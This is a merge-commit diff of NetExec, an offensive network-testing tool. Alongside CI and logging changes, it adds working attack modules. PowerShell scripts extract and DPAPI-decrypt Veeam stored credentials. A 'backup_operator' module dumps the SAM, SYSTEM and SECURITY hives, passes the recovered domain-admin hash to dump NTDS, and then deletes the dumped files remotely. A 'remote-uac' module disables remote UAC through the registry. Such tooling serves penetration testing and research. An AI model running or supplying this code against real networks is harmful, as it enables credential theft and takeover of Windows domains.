Merge branch 'main' into marshall-get-gpos

This commit is contained in:
Marshall Hallenbeck
2025-03-08 11:31:21 -05:00
committed by GitHub
27 changed files with 1152 additions and 358 deletions
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.12"]
python-version: ["3.13"]
#python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version
steps:
- uses: actions/checkout@v4
+1 -1
View File
@@ -10,7 +10,7 @@ jobs:
strategy:
matrix:
os: [ubuntu-latest, macOS-latest, windows-latest]
python-version: ["3.10", "3.11", "3.12"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v4
- name: NetExec set up python on ${{ matrix.os }}
+1 -1
View File
@@ -19,7 +19,7 @@ jobs:
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: 3.12
python-version: 3.13
cache: poetry
cache-dependency-path: poetry.lock
- name: Install dependencies with dev group
+1 -1
View File
@@ -14,7 +14,7 @@ jobs:
max-parallel: 5
matrix:
os: [ubuntu-latest]
python-version: ["3.10", "3.11", "3.12"]
python-version: ["3.10", "3.11", "3.12", "3.13"]
steps:
- uses: actions/checkout@v4
- name: Install poetry
+3 -3
View File
@@ -53,9 +53,9 @@ def gen_cli_args():
|| || | \ | | ___ | |_ | ____| __ __ ___ ___
\\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __|
.=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__
/ /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
\ /
ॱ ॱ
/ /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___|
˙ \ / ˙
˙ ˙
The network execution tool
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
@@ -1,9 +1,10 @@
$SqlDatabaseName = "REPLACE_ME_SqlDatabase"
$SqlServerName = "REPLACE_ME_SqlServer"
$SqlInstanceName = "REPLACE_ME_SqlInstance"
$b64Salt = "REPLACE_ME_b64Salt"
#Forming the connection string
$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
$auth = "Integrated Security=SSPI;" #Local user
$connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;"
$connection = New-Object System.Data.OleDb.OleDbConnection $connectionString
@@ -22,19 +23,46 @@ catch {
exit -1
}
$rows=($dataset.Tables | Select-Object -Expand Rows)
if ($rows.count -eq 0) {
$output=($dataset.Tables | Select-Object -Expand Rows)
if ($output.count -eq 0) {
Write-Host "No passwords found!"
exit
}
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$rows | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
# Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $rows | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
@@ -1,8 +1,9 @@
$PostgreSqlExec = "REPLACE_ME_PostgreSqlExec"
$PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth"
$SqlDatabaseName = "REPLACE_ME_SqlDatabaseName"
$b64Salt = "REPLACE_ME_b64Salt"
$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';"
$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';"
$output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv
if ($output.count -eq 0) {
@@ -10,13 +11,40 @@ if ($output.count -eq 0) {
exit
}
# Decrypting passwords using DPAPI
Add-Type -assembly System.Security
#Decrypting passwords using DPAPI
$output | ForEach-Object -Process {
$EnryptedPWD = [Convert]::FromBase64String($_.password)
$ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$EncryptedPWD = [Convert]::FromBase64String($_.password)
$enc = [system.text.encoding]::Default
$_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR'
try {
# Decrypt password with DPAPI (old Veeam versions)
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine )
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
} catch {
try{
# Decrypt password with salted DPAPI (new Veeam versions)
$salt = [System.Convert]::FromBase64String($b64Salt)
$hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2)
foreach ($byte in $EncryptedPWD)
{
$hex.AppendFormat("{0:x2}", $byte) > $null
}
$hex = $hex.ToString().Substring(74,$hex.Length-74)
$EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2)
for ($i = 0; $i -lt $hex.Length; $i += 2)
{
$EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16)
}
$raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine)
$pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR'
}catch {
$pw_string = "COULD_NOT_DECRYPT"
}
}
$_.user = $_.user -replace '\s', 'WHITESPACE_ERROR'
$_.password = $pw_string
$_.description = $_.description -replace '\s', 'WHITESPACE_ERROR'
}
Write-Output $output | Format-Table -HideTableHeaders | Out-String
Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000
+2 -1
View File
@@ -80,7 +80,7 @@ def no_debug(func):
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None):
def __init__(self, extra=None, merge_extra=False):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
@@ -93,6 +93,7 @@ class NXCAdapter(logging.LoggerAdapter):
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
+143
View File
@@ -0,0 +1,143 @@
import time
import os
import datetime
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
self.trigger_winreg(connection.conn, context)
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
try:
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
finally:
dce.disconnect()
# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
+228 -171
View File
@@ -1,6 +1,8 @@
import socket
import ssl
import asyncio
import hashlib
import random
from msldap.connection import MSLDAPClientConnection
from msldap.commons.target import MSLDAPTarget
@@ -10,19 +12,18 @@ from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import sys
import contextlib
class NXCModule:
"""
Checks whether LDAP signing and channelbinding are required.
Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
Module by LuemmelSec (@theluemmel), updated by @zblurx
Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
"""
name = "ldap-checker"
description = "Checks whether LDAP signing and binding are required and / or enforced"
description = "Checks whether LDAP signing and channel binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
@@ -30,173 +31,229 @@ class NXCModule:
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
# Required step to try to bind without channel binding
ldapsClientConn.cb_data = None
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
valid, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
return False # channel binding not enforced
elif err is None:
# LDAPS bind successful
# because channel binding is not enforced
return False
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
sys.exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True
elif "data 52e" in str(err):
return False
elif err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
elif err is None:
return False
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(
s,
do_handshake_on_connect=False,
suppress_ragged_eofs=False,
)
try:
ssl_sock.connect((dcIp, 636))
ssl_sock.do_handshake()
ssl_sock.close()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
ssl_sock.close()
return True
if "handshake operation timed out" in str(e):
ssl_sock.close()
return False
else:
context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
ssl_sock.close()
return False
# Conduct and LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
try:
ldapsClientConn = MSLDAPClientConnection(target, credential)
ldapsClientConn._disable_signing = True
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail(str(err))
return None
_, err = await ldapsClientConn.bind()
if err is not None:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(str(err))
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(str(e))
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.debug(f"Error connecting to {connection.domain}: {err}")
return None
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
target = MSLDAPTarget(connection.host, 389, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
if ldapIsProtected is False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected is True:
context.log.fail("LDAP Signing IS Enforced")
else:
context.log.fail("Connection fail, exiting now")
sys.exit()
if DoesLdapsCompleteHandshake(connection.host) is True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.remoteName, domain=connection.domain, dc_ip=connection.kdcHost)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck is True:
context.log.fail('LDAPS Channel Binding is set to "Required"')
client.cb_data = None
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True # -> channel binding IS enforced
elif err and "data 52e" in str(err):
return False # -> channel binding not enforced
elif err is None:
return False # LDAPS bind successful -> channel binding not enforced
else:
context.log.fail("\nSomething went wrong...")
sys.exit()
context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
return None
except Exception as e:
context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
return None
finally:
with contextlib.suppress(Exception):
await client.disconnect()
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that an
# LDAPS bind without channel binding supported has occurred,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error received from the bind attempt.
async def run_ldaps_withEPA(self, context, connection, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting to {connection.domain}: {err}")
return None
try:
context.log.debug("Retrieving TLS certificate hash...")
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
pos = random.randint(0, len(cert_hash) - 1)
tampered_bytes = bytearray(cert_hash)
tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
context.log.debug(f"Modified byte at position {pos}")
client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
else:
client.cb_data = b"\x00" * 64
except Exception as e:
context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
client.cb_data = b"\x00" * 64
_, err = await client.bind()
if err and "data 80090346" in str(err):
return True
elif (err and "data 52e" in str(err)) or err is None:
return False
else:
context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
return None
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def does_ldaps_complete_handshake(self, context, dc_ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
try:
ssl_sock.connect((dc_ip, 636))
ssl_sock.do_handshake()
return True
except Exception as e:
if "CERTIFICATE_VERIFY_FAILED" in str(e):
return True
elif "handshake operation timed out" in str(e):
return False
else:
context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(self, context, target, credential):
try:
client = MSLDAPClientConnection(target, credential)
client._disable_signing = True # deliberately disable LDAP signing on client connection
_, err = await client.connect()
if err:
context.log.fail(f"Error connecting for LDAP bind: {err}")
return None
_, err = await client.bind()
if err:
errstr = str(err).lower()
if "stronger" in errstr:
return True
# because LDAP server signing requirements ARE enforced
else:
context.log.fail(f"LDAP bind error: {err}")
return None
else:
# LDAPS bind successful
return False
# because LDAP server signing requirements are not enforced
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
stype = asyauthSecret.PASS
secret = connection.password
if connection.nthash:
stype = asyauthSecret.NT
secret = connection.nthash
if connection.aesKey:
stype = asyauthSecret.AES
secret = connection.aesKey
anon_credential = NTLMCredential(
secret="",
username="",
domain=connection.domain,
stype=asyauthSecret.PASS
)
if not connection.username and not secret:
context.log.highlight("No credentials provided, skipping LDAP signing check")
credential = anon_credential
else:
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype
)
else:
kerberos_target = UniTarget(
connection.host,
88,
UniProto.CLIENT_TCP,
hostname=connection.remoteName,
dc_ip=connection.kdcHost,
domain=connection.domain,
proxies=None,
dns=None,
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
ldap_signing_status = None
if connection.username or secret:
target = MSLDAPTarget(
connection.host, 389,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
)
ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
if ldap_signing_status is True:
context.log.highlight("LDAP signing IS enforced")
elif ldap_signing_status is False:
context.log.highlight("LDAP signing NOT enforced")
else:
context.log.fail("Could not determine LDAP signing requirement.")
if self.does_ldaps_complete_handshake(context, connection.host):
target = MSLDAPTarget(
connection.host, 636,
UniProto.CLIENT_SSL_TCP,
hostname=connection.remoteName,
domain=connection.domain,
dc_ip=connection.kdcHost,
)
ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
if ldaps_noEPA is False and ldaps_withEPA is True:
context.log.highlight("LDAPS channel binding is set to: When Supported")
elif ldaps_noEPA is False and ldaps_withEPA is False:
context.log.highlight("LDAPS channel binding is set to: Never")
elif ldaps_noEPA is True:
context.log.highlight("LDAPS channel binding is set to: Required")
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
+2 -2
View File
@@ -36,8 +36,8 @@ class NXCModule:
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword in file_content]
file_content = buf.read().decode("utf-8", errors="ignore")
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()]
if len(keywords):
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
else:
+65
View File
@@ -0,0 +1,65 @@
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
class NXCModule:
"""Module by @Defte_"""
name = "remote-uac"
description = "Enable or disable remote UAC"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.action = None
def options(self, context, module_options):
"""
Enables UAC (prevent non RID500 account to get high priv token remotely)
Disables UAC (allow non RID500 account to get high priv token remotely)
ACTION: "enable" or "disable" (required)
"""
if "ACTION" not in module_options:
context.log.fail("ACTION option not specified!")
return
if module_options["ACTION"].lower() not in ["enable", "disable"]:
context.log.fail("ACTION must be either enable, disable or query")
return
self.action = module_options["ACTION"].lower()
def on_admin_login(self, context, connection):
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
if remoteOps._RemoteOperations__rrp:
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans["phKey"]
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")["phkResult"]
# Checks if the key already exists or not
try:
rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
except Exception as e:
if "ERROR_FILE_NOT_FOUND" in str(e):
context.log.debug("Registry key 'LocalAccountTokenFilterPolicy' does not exist, creating it")
ans = rrp.hBaseRegCreateKey(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00")
# Disable remote UAC
if self.action == "disable":
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 1)
context.log.highlight("Remote UAC disabled")
# Enable remote UAC
if self.action == "enable":
rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, "LocalAccountTokenFilterPolicy\x00", rrp.REG_DWORD, 0)
context.log.highlight("Remote UAC enabled")
except Exception as e:
context.log.debug(f"Error {e}")
finally:
remoteOps.finish()
+11 -12
View File
@@ -3,10 +3,11 @@ import errno
from os.path import abspath, join, split, exists, splitext, getsize, sep
from os import makedirs, remove, stat
import time
from nxc.paths import TMP_PATH
from nxc.paths import NXC_PATH
from nxc.protocols.smb.remotefile import RemoteFile
from impacket.smb3structs import FILE_READ_DATA
from impacket.smbconnection import SessionError
from impacket.nmb import NetBIOSTimeout
CHUNK_SIZE = 4096
@@ -116,18 +117,16 @@ class SMBSpiderPlus:
filelist = self.smb.conn.listPath(share, subfolder + "*")
except SessionError as e:
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".')
self.logger.debug(str(e))
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
if "STATUS_ACCESS_DENIED" in str(e):
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
self.logger.debug(f"The folder {subfolder} does not exist.")
elif self.reconnect():
filelist = self.list_path(share, subfolder)
except NetBIOSTimeout as e:
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}')
return filelist
def get_remote_file(self, share, path):
@@ -166,7 +165,7 @@ class SMBSpiderPlus:
def get_file_save_path(self, remote_file):
r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally.
It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system.
The folder path and filename are then obtained separately.
"""
@@ -213,9 +212,9 @@ class SMBSpiderPlus:
# Start the spider at the root of the share folder
self.results[share_name] = {}
self.spider_folder(share_name, "")
except SessionError as e:
except (SessionError, NetBIOSTimeout) as e:
